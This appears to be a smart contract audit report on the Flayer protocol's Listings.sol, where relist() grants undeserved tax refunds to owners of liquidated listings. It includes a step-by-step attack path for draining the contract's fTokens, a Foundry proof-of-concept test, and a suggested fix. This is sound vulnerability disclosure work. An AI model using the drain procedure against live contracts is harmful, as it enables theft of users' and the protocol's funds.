Tiny Plastic Hyena

High

# Liquidated listings recieve undeserved tax refunds when relisted

### Summary

In Listings.sol, the relist() function lacks the same _isLiquidation checks that the other 'taker' functions have, giving the owner of a liquidated listing a refund when it is relisted.

### Root Cause

In relist() there is a part of the function that [processes tax refunds.](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L643-L647) However, all other instances in which _resolveListingTax() is used check to make sure it is not a liquidation listing such as this [instance in _fillListing().](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L500-L505) In this case, it is called either way, which credits the owner of the liquidated listing with a refund into their escrow. This is a problem because owners of liquidation listings do not pay listing taxes up front and are being refunded fTokens they didn't pay.

```solidity
    function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
        ...
        // We can process a tax refund for the existing listing
        // @audit no check to see if it is a liquidation before sending refund
@>      (uint _fees,) = _resolveListingTax(oldListing, _collection, true); 
        if (_fees != 0) {
            emit ListingFeeCaptured(_collection, _tokenId, _fees);
        }
```

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

This issue will cause issues no matter what, but if someone wanted to exploit it and drain the entirety of the contract this is how they'd go about it:

1. Create a protected listing
2. Liquidate it themselves, or wait for someone else to (either way, the attacker will make more than the liquidation penalty)
3. Relist it from a different address, then cancel the listing
4. Repeat until their escrow balance is big enough to drain all funds from Listings

### Impact

This exploit will cause the Listings contract to bleed out funds to the owner of any liquidated listing that is relisted. A malicious actor could entirely deplete the contract of all fTokens by repeatedly doing this to their own listings, but even without such an attack intentionally occurring it breaks the accounting of the protocol, allowing users to steal funds from other users and from the protocol itself.

### PoC

Please copy the following into Listings.t.sol:
```solidity
    function test_LiquidatedListingRecievesExcessFunds() public {

        address payable user = payable(makeAddr("user"));
        uint tokenId = 5;

        // Mint a mock erc to the user
        erc721a.mint(user, tokenId);

        // The user creates a protected listing and takes the maximum amount
        vm.startPrank(user);        

        erc721a.approve(address(protectedListings), tokenId);
        _createProtectedListing({
            _listing: IProtectedListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(5),
                listing: IProtectedListings.ProtectedListing({
                    owner: user,
                    tokenTaken: 0.95 ether,
                    checkpoint: 0
                })
            })
        });

        // wait one second, then liquidate
        vm.warp(block.timestamp + 1);
        protectedListings.liquidateProtectedListing(address(erc721a), 5);

        // ensure that the user has 1 fToken and 0 escrow balance
        uint256 userTokenBalance = locker.collectionToken(address(erc721a)).balanceOf(user);
        assertEq(userTokenBalance, 1 ether);
        uint256 userEscrowBalance = listings.balances(user, address(locker.collectionToken(address(erc721a))));
        assertEq(userEscrowBalance, 0);

        // a buyer relists the asset
        address buyer = makeAddr("buyer");
        deal(address(locker.collectionToken(address(erc721a))), buyer, 4 ether);

        vm.startPrank(buyer);
        locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);

        uint[][] memory tokenIdsOut = new uint[][](1);
        tokenIdsOut[0] = new uint[](1);
        tokenIdsOut[0][0] = tokenId;
        IListings.FillListingsParams memory fillParams = IListings.FillListingsParams({
                collection: address(erc721a),
                tokenIdsOut: tokenIdsOut
        });

        uint[] memory tokenIds = new uint[](1);
        tokenIds[0] = 5;

        listings.relist(IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: tokenIds,
            listing: IListings.Listing({
                owner: payable(buyer),
                created: uint40(block.timestamp),
                duration: 7 days,
                floorMultiple: 500
            })
        }), false);

    // Owner of the liquidated listing recieved payment in full
    uint256 postTokenBalance = locker.collectionToken(address(erc721a)).balanceOf(user);
    assertEq(postTokenBalance, 4 ether);
    // PLUS a refund to his escrow balance that he never paid in the first place!
    uint256 postEscrowBalance = listings.balances(user, address(locker.collectionToken(address(erc721a))));
    assertEq(postEscrowBalance, 51428571428571428);
    }
```

### Mitigation

Add a isLiquidation check to relist() similarly to the checks in _fillListing() and reserve()